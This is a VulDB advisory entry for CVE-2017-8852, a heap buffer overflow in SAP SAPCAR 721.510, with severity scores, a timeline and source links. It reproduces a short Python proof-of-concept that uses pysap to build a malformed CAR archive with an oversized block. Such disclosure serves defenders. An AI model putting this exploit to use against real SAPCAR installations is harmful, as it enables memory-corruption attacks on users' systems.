SAP SAPCAR 721.510 CAR Archive memory corruption

CVSS Meta Temp Score
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CTI Interest Score
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7.3$0-$5k0.00

Summaryinfo

A vulnerability was found in SAP SAPCAR 721.510. It has been classified as critical. This vulnerability affects unknown code of the component CAR Archive Handler. This manipulation causes memory corruption. This vulnerability is handled as CVE-2017-8852. The attack can be initiated remotely. Additionally, an exploit exists.

Detailsinfo

A vulnerability classified as critical was found in SAP SAPCAR 721.510. Affected by this vulnerability is an unknown code block of the component CAR Archive Handler. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability. The summary by CVE is:

SAP SAPCAR 721.510 has a Heap Based Buffer Overflow Vulnerability. It could be exploited with a crafted CAR archive file received from an untrusted remote source. The problem is that the length of data written is an arbitrary number found within the file. The vendor response is SAP Security Note 2441560.

The bug was discovered 05/10/2017. The weakness was released 05/10/2017 (Website). It is possible to read the advisory at exploit-db.com. This vulnerability is known as CVE-2017-8852 since 05/08/2017. The attack can be launched remotely. The exploitation doesn't need any form of authentication. Technical details are unknown but a public exploit is available.

A public exploit has been developed in Python and been published immediately after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. We expect the 0-day to have been worth approximately $5k-$25k. The code used by the exploit is:

from scapy.packet import Raw
from pysap.SAPCAR import *
  
# We write a file just to have some data to put into the archive
with open("string.txt", "w") as fd:
    fd.write("Some string to compress")
  
# Create a new SAP CAR Archive
f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
# Add the text file
f.add_file("string.txt")
  
# Replace the blocks in the compressed file with the faulty blocks
f._sapcar.files0[0].blocks.append(Raw("D>" + "\x00"*30 + "\x00\xff"))
f._sapcar.files0[0].blocks.append(Raw("A" * 0xffff))
  
# Write the file
f.write()

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at Exploit-DB (41991) and SecurityFocus (BID 98350†). Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Vendor

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Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.5
VulDB Meta Temp Score: 7.3

VulDB Base Score: 7.3
VulDB Temp Score: 6.9
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 7.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: Partially
Local: Yes
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

05/08/2017 🔍
05/09/2017 +1 days 🔍
05/10/2017 +1 days 🔍
05/10/2017 +0 days 🔍
05/10/2017 +0 days 🔍
05/10/2017 +0 days 🔍
05/10/2017 +0 days 🔍
05/11/2017 +1 days 🔍
12/23/2024 +2782 days 🔍

Sourcesinfo

Vendor: sap.com

Advisory: exploit-db.com
Status: Confirmed

CVE: CVE-2017-8852 (🔍)
GCVE (CVE): GCVE-0-2017-8852
GCVE (VulDB): GCVE-100-101071
SecurityFocus: 98350 - SAP SAPCAR Local Heap-Based Buffer Overflow Vulnerability
OSVDB: - CVE-2017-8852 - Sap - Sapcar - Medium

scip Labs: https://www.scip.ch/en/?labs.20150716

Entryinfo

Created: 05/11/2017 12:50
Updated: 12/23/2024 00:10
Changes: 05/11/2017 12:50 (69), 12/23/2024 00:10 (16)
Complete: 🔍
Cache ID: 216::103

Be aware that VulDB is the high quality source for vulnerability data.

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